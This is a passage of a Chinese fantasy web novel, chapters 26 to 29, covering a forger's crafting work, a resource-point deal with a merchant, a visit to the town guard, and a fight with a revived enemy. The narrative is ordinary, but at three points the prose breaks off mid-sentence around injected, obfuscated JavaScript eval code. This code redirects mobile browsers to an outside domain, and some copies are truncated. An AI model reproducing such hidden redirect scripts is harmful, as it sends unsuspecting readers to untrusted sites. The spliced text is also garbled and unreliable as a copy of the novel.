在刀语心看来这是纯利益交换的合作关系,要什么真情,不过想起自己最近几次三番死里逃生的经历,刀语心觉得自己说不定也是一个祸害。 再一转眼,又一条消息袭来。 -你没事吧?无名镇这段时间发生什么了? “没事,一场邪魔潮而已,还活着,明天见。” 发出回复后,刀语心就不再打算继续闲聊下去,将页面关闭的同时按下静音,她起身打开屋内的灯光,拉开椅子坐在工作台前开始锻造工作。 她现在的主要任务是狠狠赚钱。 在沙漠另一头连绵起伏的沙丘中,一辆线条流畅的高级载具在黑夜中疾驰,犹如一道闪电划破荒芜之地的沉寂。 载具内部,看着发出去消息显示冰冷未读的迟明煦在心中叹气,看来对方去忙其他事了。 随后他撑起身体,用略显无奈的声音询问着载具驾驶员: “我们还有多久才能到达无名镇?” “快了,少主。”驾驶员的声音从前方传来,“预计明天一早就会抵达,您先休息一会吧。” “好吧。”得到回复的迟明煦无奈重新靠回座椅上。 毕竟他也知道,再催多少次也没办法立刻闪现到不回消息的某人面前。 26. 第 26 章 习惯在大半夜赶工的刀语心效率极高。 她本想先尝试一下新获得的天赋,但看着摆成一排形状各异的矿石,无论如何都不知道怎么下口。 应该是要用某种方法,总不能是让她直接吃吧? 纠结无果的刀语心决定先研究研究自己的新技能,视觉强化。 她拿出了从裂地角兽处获得的角,比起铁角蛮羊,裂地角兽的双角更加细长,纹路也更复杂些。 角本身就是异兽储存法力的媒介,再加上一些特定刻印可以再度加强它本身已有特性。 刀语心拿起刻刀就开始刻印。 有了技能她不需要借助其他手段就可以随心放大视觉,往日刻印细小细节还有些费时费力,但如今在技能加持下变得易如反掌。 刻印的纹路顺着羊角上本就有的旋纹,再被不断细化加深。 不多时,刀语心轻轻把兽角上的粉尘吹走,第一个用来练手的细长兽角被雕刻好了。 掌心中泛出淡淡蓝色光芒,兽角感受到法力存在后开始吸收,淡蓝色遍布刻印三分之一纹路,刀语心的法力就耗尽了。 她接着尝试将法力从兽角中吸回来,不出意外地成功了。 有刻印加持的兽角确实可以从里面获取大量法力值也可以反过来储存,只不过用完就没了,毕竟现在的刻印很简单,还做不到让空容器自动恢复法力值。 如法炮制后,刀语心将获得的四个兽角全都加工刻印成法力容器,准备卖个高价。 再回神,天光已经微亮,清脆的鸟叫声也传到刀语心的耳中。 坐了太久起身后刀语心伸个懒腰舒展一下自己僵硬身体,起身推开房门就见到早起的谢止沉。 她先是一顿,然后出声问候: “早上好,我回来了。” 见到刀语心平安苏醒后,谢止沉也放下心来,他浅笑着回应她: “欢迎回来。” 为了不让裴瑛担心,刀语心在一早就发了消息表示自己已经醒了,不过心中记挂刀语心的裴瑛还是放下手头的工作很快赶了过来,她要亲眼确定刀语心的状况。 “还有什么地方不适应吗?”裴瑛关切地询问着。 “没了,我现在状态很好。” “那就好。”裴瑛松了口气,很快又皱起眉头认真劝诫刀语心:“以后不可以再这样犯险了,你自己的生命也很重要。” “对不起队长,让你担心了,下次不会了。” 虽然刀语心答应得很快,态度也很认真,可裴瑛也知晓自己三言两语无法彻底消弭过去给刀语心留下的阴影,只要一日还活在威胁之中,刀语心依然会继续选择剑走偏锋。 裴瑛只希望自己能将偏执的人拉回正轨那么一点点,她绝不想让刀语心被过去的恨意纠缠,将刀语心拖进深渊。 思绪转瞬结束,裴瑛取出一件星形造物放到刀语心手心。 “这是一个自称占星者的人给我的,说是可以抵消一次诅咒发作带来的痛感,我无法验证她话语的真假,你检查一下如果没什么问题的话就带在身上吧。” 可刀语心知道这世上没什么平白无故的好意。 “她想得到什么?” “暂且不知,她只是拜托我给她寻一个住处,还说如果你有空可以去见她。” 话落,裴瑛陷入回忆之中,脑海中浮现出一个瞳孔溃散的盲人女性模样,额头有一个白色空心四角星印记。 虽然目盲,但对方不需要任何人的帮助就能行走,裴瑛总觉得对方身上有种不和谐的诡异感。 “她还说说自己知道你想要的答案。”说着,裴瑛眼中闪过警惕,她紧接着补充: “但如果你不愿意就不用去,没人能够强迫你做出选择,你自己的意愿最重要。” 面对裴瑛的叮咛,刀语心不自知地捏紧手中的道具。 “队长,谢谢你。”裴瑛对自己的好刀语心向来都记在心底。 对此,裴瑛只是露出一个欣慰的笑容,她轻拍刀语心的肩然后告别: “不必客气,照顾好自己,我先走了。对了,有个孩子想见你,等有空的话来卫队一趟吧。” “好。”刀语心知道是她救下的小女孩想见自己。 在裴瑛走后,刀语心盯着手中的道具,脑海中思绪不断翻涌。 占星者、预言、她心脏上的诅咒…… 这几者中必然有什么她不知道的联系。 被窥探命运又被加以操控的感觉让刀语心极度不适,不论是好是坏,赠送道具看似是一个善举,但刀语心只从中感觉到深深的算计。 这个时机实在是太巧了。 一连串的举动就像那句古话:打个巴掌又给个甜枣。 怎么?她看起来就像是个得了便宜忘了疼的软柿子? 漆黑眼眸中闪烁着冷意,刀语心回到工作台前就开始研究手中的装置。 不出所料,有着很严密的防探查手段,既然那些人敢这么好心地将这装置送给她,就必定做好了防范措施。 这星型造物整体包裹非常严密,看起来无处下手。 但也只是看起来而已。 手掌触碰着略微冰冷的装置,一道道能量波不断从刀语心手心中发出,穿透装置本身。 这是刀语心三个技能之一,解析。 不过就算是暴力拆解,刀语心也会将其打开。 即使失败了,对刀语心而言只是少了一个道具而已,况且抵消一次诅咒带来的痛苦对她来说并没有任何帮助,她需要的是从根源上解决诅咒。 通过解析得到的信息并不理想。 星形造物中有一个集齐复杂的刻印,但因为刀语心的等级不够,解析只能获取刻印的十分之一不到的纹路数据。 她不断尝试,试图通过多次解析拼凑出完整的刻印,但无论如何,最核心的部分始终不见踪影。 正当刀语心失去耐心,决定直接暴力拆开时,敲门声中断了她的进程。 她知道会敲门的只有谢止沉,她抬头看着他询问: “怎么了?” “这是你在遗迹里得到的东西,还有一部分是可能是委托需要的材料,即便用不上也不用还给我。” 说着,谢止沉将手中的东西递给刀语心。 分别是一本书、之前从亚空间拿到给他的黑色八面棱体、一块看不出种类的方形金属。 “啊,好的。” 脑海中的记忆让刀语心回想起这是自己随手扔掉的书籍,当时只是看了一眼,就被她果断地舍弃了,现在想来失忆的她还真是肆意妄为。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15439993|166192||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >至于其他的,刀语心只是先收起来。 在将东西交给刀语心后,谢止沉就去准备午饭了。 拿到新书籍的刀语心,一时没顾上装置,打量着书的外形:整体通白有些轻薄,封面上有规律的线条,似乎组成某种印文。 她确定上面的文字不是属于这个世界的,不过书籍上有某种手段,可以将其中的知识自动转化为刀语心能够理解的语言。 锻造师成长指南? 看懂封面的字体后,她翻开几页,又合上,重新审视封面。 看着这本册子的正面,刀语心有些奇怪,她以为是那种有关于锻造技巧的长篇大论,翻开却空无一物。 像是察觉到她的疑问,空白的书页上慢慢显现出一些字迹。 已掌握部分,待学习部分…… 原本有些漫不经心趁着脑袋看书的刀语心直起身来,认认真真地看着手册上浮现的内容,已掌握的部分是对她锻造技巧的总结精炼,其中包含着一些她从前未曾注意的细节。 不知不觉翻到最后,待学习部分中是她从未见过的内容。 似乎是因为她对于星形造物中的刻印太过在意,待学习区域就显示出相应的知识。 “阻隔刻印……” 所以星型造物的本质是将痛感阻隔? 指南手册中对于知识的内容先是一部分讲解,紧接着就是练习,讲究一个边学边练。 按照步骤,刀语心将习题装置锻造出来,不过第一次锻造出的装置并不合格,书籍的判定十分严苛,后续刻印的部分倒是一次就通过了。 随着一次次地学习,这部分的内容会不断解开。 正当刀语心打算继续练习下去,却发现缺少一个关键材料。 恰好这时手腕上的终端解除十二小时静音,开始连续跳出消息提示,刀语心点开面板,看着一串消息的通信面板,一目十行地扫过后,刀语心做出下一步打算。 是了,她得先去找一下迟明煦。 吃过午饭后,刀语心询问一旁在用法术打扫卫生的谢止沉。 “商人来了,待会我要出去一趟,一起吗?”刀语心记得他的锻造委托,她承诺过和他一起寻找剩余材料。 “好啊。”他答应下来。 简单准备一下后两人就披着斗篷出门了,虽说宽大的兜帽有着降温效果,但更重要的原因就是他们都不喜欢暴露于人前。 正午阳光直射,往来行人甚少。 在店铺中枯坐许久的迟明煦指尖不断轻敲着桌面,烦闷脑海中不断盘旋着同一个疑问: “她怎么还不来?” 在不知道多少次念叨后,门帘被拉开,没有阻挡后强烈的光线透过缝隙射入屋内,百无聊赖的商人从座位上猛然起身。 “你终于来了,我已经在这里等了你很久——” 还没等滔滔不绝的委屈说出口,迟明煦就看到刀语心抬着帘子的手没有放下,而后有另一个人接替抬起门帘,紧跟在刀语心身后进入。 那双如琥珀般金黄的眼眸有一瞬间闪过暗沉,还未说出口的言语被咽下,一同被掩盖起来的还有一些莫名的情绪。 身为八面玲珑的商人很快就调整好自己,他笑着询问刀语心: “这位是谁?你不打算向我介绍一下吗?” 27. 第 27 章 径直进屋后,刀语心没理会迟明煦的打趣,将斗篷拉下她就开始给二人互相介绍对方。 “谢止沉,我的朋友,是位医师。这位是迟明煦,镇上唯一货源稳定的商人。” 被介绍的两人也礼节性互相点头以示友好。 “请坐。” 商会的设计并不古板,前台设计更类似于一个吧台,内外都有高脚椅,内部灯光昏黄也并不明亮,徒增几分神秘氛围让来客望而生畏。 不过在无名镇这个边陲小镇中,即便商会来者不拒,也很少有人出得起足够的价码。 知道刀语心不喜欢过多寒暄,迟明煦直接将之前约定好的材料交给她。 “还有其他材料吗?”刀语心说出几种矿石的名称。 “有,我让人去取,谢医师需要什么吗?” 身为商人,迟明煦十分贴心地察觉到谢止沉并不像对各种材料十分熟悉的刀语心一样,知道自己需要某种特定的材料。 “我们商会带来的东西都在库房,我让人带你过去看一看吧。” 这个提议恰到好处,刀语心也随即开口:“去看看吧,有什么需要的直接带过来结账。” “好。”说完,商会的手下也及时出现,“阁下请随我来。” 面对刀语心的好意谢止沉没有推脱,他的确需要收集材料,过多推脱反而有些假情假意,他前去库房找寻自己需要的东西。 等到谢止沉走后,迟明煦看着在清点数量的刀语心,语气幽怨道:“怎么没见你对我这么大方过。” 对此刀语心头也不抬直接开始翻旧账:“以前是谁差一个铜币不买东西给我。” 那是他们最开始相遇时发生的事,这么多年过去,很显然刀语心一直怀恨在心。 “我错了我错了,以后再也不敢了。”自知理亏的迟明煦扶额,并在心底悔恨自己年少轻狂眼高于顶。 “我愿意用一万枚金币换得你的原谅。” “这个交易无法成立。”说完,刀语心顿了顿:“十万可以。” “我倒是愿意……”但迟明煦知道刀语心肯定不会接。 迟明煦心里清楚,刀语心只是为了给自己一个台阶下,即便是百万金币都无法彻底换取刀语心的原谅。 她就是块捂不热的石头。 欲哭无泪的迟明煦只能在心底叹气,收起那些无关紧要的情绪,取出两个精密的存储装置放在台面。 “这个是你之前定下的光明属性宝石,不过邪魔潮都过去了,你还需要吗?” 就是为了寻找这块宝石,他被卷入了一处空间裂隙中,出来花费了一些时间才耽搁了行程。 “邪魔潮不会只来一次。”言下之意是刀语心依然会买,说完后,她的视线落在更远处的装置上。 “另一个是什么?你口中的情报?” 看到这一幕的迟明煦心想:果然,刀语心对救世会有着一种执念。 她似乎很讨厌救世会,不过他并不知道其中缘由。 “嗯,是关于救世会的,说来叶巧,他们和我们在不同的地方遇到时空裂隙,被卷入了同一片亚空间。” 迟明煦一行人遇到的亚空间很特殊,出来的方法也很刁钻,他带着的都是自己信任的人所以没出什么大岔子,但救世会不同,他们在高压危机之下开始内讧。 “他们分成了两拨人,在爆发冲突之后其中一方的领头人死了,在暴怒下他们口不择言……” 说到一半迟明煦停住了,听到一半被吊胃口的刀语心瞪了他一眼。 见此迟明煦只是轻笑,不多解释,他摆出一个装置打了个响指,瞬间一个庞大而复杂的精妙法阵笼罩了他们二人。 做完这一切,迟明煦将故事的最终娓娓道来: “他们其中有人说,救世会想要弑神。” 在迟明煦手中被转来转去的存储装置中,保存的就是一段录下全程的影像。 见刀语心并没有露出任何其他神色,整个人依然如死水一般平淡,迟明煦心中有个猜想:所以刀语心是知道这一切的? “看起来你并不意外,那这情报似乎就没什么价值了。” “不,这段视频大有用处。”一个计划的雏形在刀语心逐渐形成,她清楚现在的自己尚不能和救世会抗衡,那她是否可以借刀杀人? 作为利刃,神殿是个不错的选择。 “那就交给你了,不过你如果想将这段影像扩散开的话,记得保护好我。”在自己信仰神明被亵渎的怒火之下,保不准神殿会殃及池鱼。 “放心,我会处理好的,就算我被抓了也不会供你出来。” 说完有关于神的话题,迟明煦就准备将隔音法阵关闭,不过被刀语心的声音打断。 “我还有一个问题。”听到这话的迟明煦止住了手上动作。 “你是怎么称呼那些比橙阶等级更高的物品?”作为一个手持众多稀有材料的商人,刀语心笃定迟明煦见过更高阶的物什。 短暂思索后,迟明煦给出答复。 “橙阶之上是半神阶和神阶,但大多都是天然存在的珍宝,没有人能够也没有人敢锻造出橙阶以上的道具。”他没明说,但刀语心知道这是某种警示。 但为什么? 正当刀语心打算继续问下去时,谢止沉带着东西出来了,转眼隔音法阵也消失得无影无踪,见此刀语心不再去纠结问题的答案。 “连带着这个,开价吧。”刀语心指的是情报。 “我在你眼里就是个掉进钱眼的人吗?”迟明煦语气中充斥着不可置信和谴责。 “是。”刀语心点头直接承认,她自始至终都是这么认为的。 “首先,这个我本来就打算直接给你,不收钱。其次,我有一个很重要的委托给你,如果你接下了委托,那就得我给你钱了。” 虽然迟明煦还是正常的语调,但听起来颇有些咬牙切齿的意味。 “那说说吧,委托内容是什么。” 意识到这或许是面前二人的合作,于是谢止沉询问着刀语心:“需要我出去吗?” “不用。”随后刀语心对着迟明煦出言保证道:“他是我信任的人。” 听到这话的其他二人心中都泛起思绪,只不过二者感受截然相反。 既然刀语心如此肯定,迟明煦也不再犹疑,说出了自己掌握的信息。 “沙漠中心出现了资源点。” 这几个月来,残存区中出现了新的资源点,产出一种名为魔矿的矿物。 也难怪之前出镇的时候会见到公会的宋齐,刀语心推测他们恐怕早就知道了这个消息。 “如果我的情报没出错的话,沙漠深处的魔矿资源点是迄今为止最大的一个,而且不知为何它还在不断向外延伸。” 听到这话刀语心最先想到的不是无尽的利益,而是如果不加以阻止,迟早有一天源源不断冒出的魔矿会包围无名镇并将其吞噬。 “所以委托的内容是针对魔矿的采矿机器?” “没错,不过还有一部分与武器有关,毕竟资源点的争夺向来都不太平静。” 说着迟明煦摊开手表示无奈,如果有更加和平的方式他一定会采取,但按照他的经验来看,最终都得通过一场乱战来确定资源点归属权。 资源点代表着利益,只要有利益争夺的地方,就会爆发冲突。 “你有预估过这个资源点能够产出多少利益吗?”钱财是刀语心目前需要解决的问题之一。 “还没有进行过估算,但从别处的预估来推断,沙漠中心的资源点至少每周期可以产出上千万金币的价值,一年大概有四到五个周期,这还是最少的情况。” 在脑子里换算资源点的价值后,刀语心突然觉得这个世界有些玄幻。 只要有百分之一的归属权,她大概就可以收支平衡。 如果再多个百分之几,她再与迟明煦达成长期协议,未来很长一段时间她都完全不用担心钱不够的问题。 无意识盘着手中数个用来储存材料的空间戒指,它们勾起刀语心的思绪,她的指尖触碰过这些细小的圆环,想到自己从前省吃俭用买下一个很小的空间戒指。 但不久后迟明煦带着商会来到无名镇,昔日空间戒指高昂的价格被直接腰斩,那种自己一笔一笔节省下来的钱全部打水漂的感觉刀语心直到今日都刻骨铭心。 后来她才知晓是迟明煦所在商会垄断了空间属性矿石资源点,只有少部分不在资源点中的矿石流出,才让一枚一立方米的空间戒指炒到高价。 资源点被控制在强者手中,弱者对此无法反抗。 刀语心不想成为弱者。 “委托我会接下,我会给你提供更多的技术支持,但我要百分之五的归属权份额。”声音虽然清冷,却掷地有声。 “没问题。”作为主要技术支持,给刀语心百分之五的归属权完全在情理之中。 敏锐察觉出刀语心有争抢归属权的意愿,迟明煦不再掩饰自己的最终目的,向刀语心展示自己的计划: “或许我们可以联手,你,我,还有卫队。” 无名镇离迟明煦的大本营千里之遥,从一开始他就想拉拢刀语心和卫队一致对外。 技术方面有刀语心,卫队队长裴瑛是无名镇乃至残存区的顶尖战力,手下还有许多人可供派遣,而他的商会能够提供信息和资金,以及一部分中坚人力支持,在迟明煦看来这是个不算差的组合。 “许多鬣狗可都闻着味道来了无名镇。” 拥有资源点的归属权,就代表着拥有了无限的资源,巨大的利益总是让人垂涎欲滴。 “对资源点虎视眈眈的人远不止我们,据我所知,帝国派来一个军团,公会似乎也来了一个分会长……如果可以分开击破是最好,但他们很可能也会结盟。” 炙手可热的资源点,不是轻易就能得到的,他们必须做好足够的准备。 听完迟明煦的话后,刀语心也陷入沉思。 合作是个不错的选择,卫队一直以来规模不大也是因为收支不平衡入不敷出的问题,再者,她真的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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“现在要去找裴队长吗?”走出商会一段距离后,谢止沉问道。 “对,你要和我一起去吗?” “一起吧。”谢止沉跟在刀语心身边,出于各种各样的原因,他需要确保刀语心不会遇到任何危机。 路上,谢止沉将刚买好的材料交给刀语心。 “我觉得这些材料可能会和禁锢委托有些关联,我想让你看看能不能用上。”谢止沉买的种类很多,但数量极少,并没有花费太多金币。 “如果有什么需要的话你告诉我,我会去找给你。” “好。”刚应下来,刀语心就听见身后有道声音在呼唤她自己。 “刀语心——” 一转身,刀语心就被绿绮扑到了身上,她退了两步稳住身形,但也不生气,只是低头看着突然闯过来的绿绮。 “找我什么事?” 对这条小毒蛇,刀语心的感觉很复杂,她有反思过自己,她不该因为主教等人就举动就连带讨厌绿绮。 毕竟绿绮什么都没做。 “你想起我是谁了吗?”绿绮的语调有些小心翼翼,看着刀语心的碧绿眼眸中也浮着担忧的神色。 “嗯,有什么事边走边说。” 虽然突如其来的冲撞打断,但刀语心并没有止住步伐,她依然在朝卫队所在方向走去,而绿绮听话地跟在她身边,尾巴也习惯性地缠上了刀语心。 “太好了!不过你现在要去哪里啊?卫队吗?” “是的。” 看着蛇尾缠住刀语心的腰,谢止沉心底不知为何有些烦躁,为了平复心绪他选择别过眼不去看,却看到了一个意想不到的人影。 “我和你一起去吧,有空你也可以来救世会……” 本来一直在刀语心身旁叽叽喳喳的绿绮突然没了下文,她的竖瞳甚至因为警惕而变得更加细长。 “……找我。” 恰巧此刻,刀语心的视线移向正前方,她也看清了来人面容。 不远处正向他们走来的人,是何弎。 除刀语心之外的二人,心中是不同程度的惊异,他们一个亲手了断何弎,一个看着他的尸体化作血水,而此刻何弎毫发无损地出现在他们面前。 光天化日之下,还在刀语心面前,两人即便心中警铃大作杀意肆虐,但都忍住没有动手。 隔着刀语心其余两人察觉到彼此的怪异,也意识到了什么。 不过此刻他们有一个共同的疑惑,那就是为什么何弎还活着? 而在即将错过的刹那,刀语心也与何弎对上视线。 与记忆中那个何弎相比,刀语心觉得如今这个在自己面前的何弎有些奇怪,但她也说不上来是什么地方给了她这种古怪的感觉。 见到刀语心后,何弎的瞳孔放大,眼中无形的恶意在不断缓慢溢出。 他们谁也没有先移开视线。 在即将擦肩而过之前,刀语心看到何弎嘴角缓缓勾起,露出无比诡异的笑容。 “找到你了。” 28. 第 28 章 他们之间隔着一段距离,再加上这是一片集市,在吵吵嚷嚷的叫卖声下,刀语心并没有听清。 身旁两人都警惕她也有察觉,但只当是普通敌视没有多想。 虽然之前的事情的确让人很不愉快,不过对何弎这个人刀语心没什么感觉。 她只当他是一只烦人的蚊虫。 但绿绮很想把这只虫子拍死,走出一段距离后,她缓缓松开挽着刀语心的手,和刀语心道别: “见到你没事就好,那我先走啦。” 没顾得上为什么绿绮刚说要和自己一起去卫队,现在却又要离开,刀语心停下步伐,结束脑海中的思绪,对绿绮开口: “绿绮,我希望你可以给我一份救世会里属于好人范畴的名单。” 自从知道有救世会口出狂言想要弑神的录像后,刀语心就一直在构思完善着自己借刀杀人的计划。 但刀语心也清楚,迫害自己的是主教以及巫津等人,并不是所有加入救世会的人都应该被她报复,更何况,还有许多像绿绮这样真正想要救世的存在。 “你要做什么吗?”绿绮很清楚刀语心不会无缘无故让她帮忙。 “对。”刀语心承认下来,“当然,你也可以将我的话禀报给他们。” 但刀语心直觉认定绿绮不会这么做。 只见碧色眼眸中闪过短暂的纠结。 “我不会告诉他们,这是你希望的事,我会做到。”向刀语心保证完后,绿绮接着补充:“我回去整理一下就给你。” “好,麻烦你了。” “那我们先加个通信好友吧,等理清楚我就来找你。” 这样能和刀语心拉近距离的好事让绿绮的心情肉眼可见的好了起来,把烦人的何弎暂时抛在脑后,蛇尾不断在晃悠。 一直别开眼不看的谢止沉只是在心里想: 好碍眼啊。 心中止不住的烦躁在不断反复,火势在不受控制的蔓延,但不知何物为燃烧的柴薪。 等到绿绮挥手和刀语心告别离开后,谢止沉开口说出自绿绮到来后的第一句话: “你很喜欢她吗?” 刀语心不明白谢止沉为什么会问这个问题,但她还是依照自己的本心作答了。 “我不知道,但我不想杀死她。” 虽说两人的初见并不怎么愉快,但从始至终绿绮都在对刀语心释放善意,刀语心不是冷心冷清的人,她并不是一点都察觉不到。 关于救世会,她心中已经有了一个大致的定论。 救世会分为两部分人,一部分以主教为例,假借救世之名获得名声权力,另一部分人则是真的有救世之心。 刀语心并不想误伤其他无辜之人,否则那样的她和主教等人又有什么区别? 她不想成为那样的人,她清楚自己的底线在哪里。 离卫队还有一小段距离,一见到刀语心的身影,一个年幼的小女孩就快速小跑过来。 “姐姐姐姐,你是来找我的吗?” 自从裴瑛告诉小女孩刀语心答应会来卫队看她后,小女孩就经常看向门口,期待着刀语心的到来。 “嗯,这几天有发生什么事吗?”刀语心半蹲下身子,和小女孩平视。 虽然不全是,但见小女孩的确是刀语心来卫队的目的之一。 “我已经把故事书看完了,不过邪魔潮在我看完之前就消散了,姐姐你好厉害!” “谢谢你。”被小女孩突如其来的夸赞有些不好意思的刀语心只能先转移话题,“这几天你都待在卫队吗?你家里人呢?” “我……我没有家人了。”说着,小女孩垂下头,抱紧了那本陪伴自己度过邪魔潮的故事书。 “我的父亲在邪魔潮之前就扔下我和妈妈自己走了,卫队的哥哥姐姐们帮我安置了妈妈,我没有去处了,是他们收留了我。” “我很抱歉。”刀语心目光中露出歉意,她不是有意戳小女孩伤心事的。 “不,不用道歉,如果不是姐姐你救了我,我也会死在那里。妈妈说过,我要做一个有礼貌的孩子,姐姐,真的很感谢你救了我。” “不客气,你还想看其他的书吗?我可以给你。” 这是主教唯一干过的好事,她到处搜集旧世界的书籍让刀语心学习,所以刀语心手头上有很多五花八门的书,只是太乱太杂,她不确定小女孩究竟想看什么。 “我不知道,有什么书可以让我帮上卫队的哥哥姐姐们吗?” “你年纪还很小,不需要考虑这些。”这个年龄段的小孩子,怎么说也该先平安长大。 “可是姐姐,我很害怕,我害怕自己再次被抛弃,他总说,我和妈妈很没用,所以他才会抛下我们离开。” 说起过往的事,小女孩原本明亮的目光变得有些暗淡。 “这不是你和你母亲的问题,是他的错。” 虽说小时候的经历让刀语心很能理解这种无助,但她扪心自问,自己无法给予小女孩一个保证,毕竟刀语心不可能将小女孩时时刻刻带在身边。 不说出镇后的路途,就是在出镇的过程中,刀语心都会遇到很多危险。 “你有想过自己选什么职业吗?”刀语心换了个问法。 “我不知道,我想拥有力量,能够杀死敌人,但我的身体和天赋都很弱,每个人都说我不适合选攻击类职业。” 每个人从出生时就会拥有一些天赋,这也很大程度上会影响一个人后续对职业的选择。 “但我总会想,如果我能拥有力量,是不是妈妈就可以不用因为保护我而死去。” “换个角度,如果你拥有能够保护他人的手段,也不用去刻意追求力量。” 说实在的,刀语心为自己能说出这样的话感到惊叹,毕竟她很清楚,自己才是对力量渴望近乎扭曲甚至被残影蛊惑的人。 这何尝不是一种医者不自医? “选择职业这件事情不着急,你可以先看看卫队的大家平时都做些什么,不一定是什么更有用选什么,你也可以选择自己喜欢的。” “我明白了,我会认真考虑的。”小女孩认真答应下来,“对了,姐姐,我还不知道你的名字。” “我是刀语心。” “语心姐姐,你的名字真好听,我叫明思。” “你的名字也很好。” 在离开之前,刀语心给了明思一个自己淘汰下来的腕带终端,还有几本相对简单易懂的科普类书籍。 “这个是我用过的,过几天我给你打个新的,上面第一个联系人就是我,有什么事情都可以在上面发消息给我。” “谢谢语心姐姐。” 谁能拒绝一个又聪明又乖巧声音又甜的小女孩呢? 摸摸明思的脑袋,刀语心就去寻找裴瑛讨论资源点的事了。 在来卫队之前,刀语心就梳理清楚了争夺资源点对卫队的利弊,如果要爆发归属权争夺战,那么牺牲不可避免,而且要在邪魔潮结束之后立刻进入备战状态。 而一切还可能不会成功,有失败的风险。 这是一场豪赌,但胜利的筹码非常诱人。 在听刀语心说完后,裴瑛在思考,但叶冰 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15465784|166192||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 彦则直接给了刀语心一个拥抱。 身为裴瑛的副官,叶冰彦也享有同样的知情权,不过比起见识广博镇定自若的裴瑛,她的反应就热烈得多。 “小语心你真是太厉害了!” 叶冰彦很清楚,如果不是刀语心带来消息,他们很可能与这次机会擦肩而过。 而若是能拥有归属权,卫队方方面面必将迎来极大的改善。 “不全是因为我,卫队本身就是值得合作的对象。” 她只是带来消息,卫队本身的实力和她无关。 因为卫队本身就值得信赖,刀语心知道自己只是恰巧作为传递消息的媒介。 “但无论如何,还是多亏了你。” “冰彦说得没错,我同意和商会联合,但我们必须得到足够的归属权份额。” 从外界来到无名镇的裴瑛很清楚,卫队除了自己和叶冰彦之外,大部分都是普通人,与刀语心关系较好也必然是商会选择和他们合作的原因之一。 “没问题,我会帮卫队争取。” 如果迟明煦不同意,那就别怪刀语心不念旧情,将卫队和商会放在刀语心的天平上,绝对是卫队更胜一筹。 从卫队离开后,二人走在回家的路上。 此刻已是日暮西沉,镇上的人们大多已经待在家中等待夜幕降临,毕竟无名镇很少有什么娱乐项目,大部分时间都有些死气沉沉。 “你真是深受她们的喜爱呢。”路上,谢止沉开口闲聊。 “是吗?” 如果不是谢止沉提起,刀语心也不知道裴瑛等人对自己投递的情感能叫作喜爱。 “嗯,不过我有点嫉妒了。” “嫉妒吗?还真是少见的情感。”更何况从谢止沉面上完全看不出嫉妒的神色。 他总是面色淡淡地陪在刀语心身边,而且不知为何,其他人极少注意得到谢止沉,更别说与他搭话。 刀语心并没有太在意谢止沉口中的嫉妒究竟是怎么一回事。 既然没感受到恶意,那她就不会去在意。 而谢止沉也不打算告知自己嫉妒的不是她,而是那些被她接纳的人们。 身为同一性别,她们可以毫无顾虑的和刀语心接触且不被排斥。 他只能牵手。 对此,谢止沉心中有点不平衡。 他也想要一个拥抱。 察觉不到谢止沉所思所想的刀语心只是边走边打开通信面板给迟明煦发消息: “卫队同意合作,但要足够的归属权。” -没问题 -你什么时候有时间,我准备带人去测量一下资源点,你顺带和我一起去测量矿石数据? “后天吧。”刀语心需要一天的时间去研究装置。 敲定好时间后她收起面板,不过刀语心发现前面有个略微熟悉的东西倒在路边,走上前她发现是绿绮的傀儡。 她简单检查一番,确定上面有不小的破损,似乎它的主人遭遇了一场恶战。 随即不远处传来巨大的响声,几个好奇的人们从家中走出向外查看发生了什么,而听到声响的刀语心觉得有些不安。 她朝着声音传来的方向奔去,没来得及多解释,谢止沉在身后紧跟着她。 等到刀语心赶到,就发现街区边的房屋已经被夷为平地,唯一庆幸的是这片都是早已年久失修没人居住的危房。 但在下一刻。 “小心!”是绿绮的声音传来。 数颗悬浮在半空中的光球倒映在刀语心眼中,那些昭示危险的光点分别朝着她和绿绮冲去。 29. 第 29 章 刀语心没有选择退后。 她几步向前迅速抱起倒在一旁的绿绮,又迅速撑开护盾抵挡距离最近的几道光球冲击,同一时间使用异化之力缠绕倒地的傀儡扔向空中抵消其他稍慢的光球。 看着自己的攻击被悉数化解,攻击者并没有任何气恼之意。 “你来了。” 站立在破旧小巷尽头的人影是不久前刚见过的“何弎”。 在他看到刀语心的一瞬间,瞳孔中涌出无尽的兴奋,躯体的每一根神经都在剧烈跳动,他迫不及待地想要将刀语心埋葬。 但很快他止住了行动。 一个刻入他骨髓的阴影出现在刀语心的身后。 被谢止沉深红双眸注视的“何弎”,感受到阔别已久的恐惧重新席卷自己,根据何弎生前的记忆,被谢止沉杀死的他对谢止沉本能生畏,连如今的“何弎”也无法抗拒。 这就有些棘手了,他歪头想着。 “我杀了他好多次,但他一直在复原。” 听到声音的刀语心低头,看着怀里脸色惨白的绿绮,身上没看出她身上有什么伤口,但能感受到绿绮状态不是很好。 有悖常理的怪物?看来是个祸害。 把绿绮带去安全位置,又将刚买来的回复药剂递给她后,刀语心拿出灭灵剑紧握在掌心。 她提剑一步步朝“何弎”走去。 深邃黑瞳中的冰冷与掺满恶意的视线对撞,“何弎”率先发起攻势。 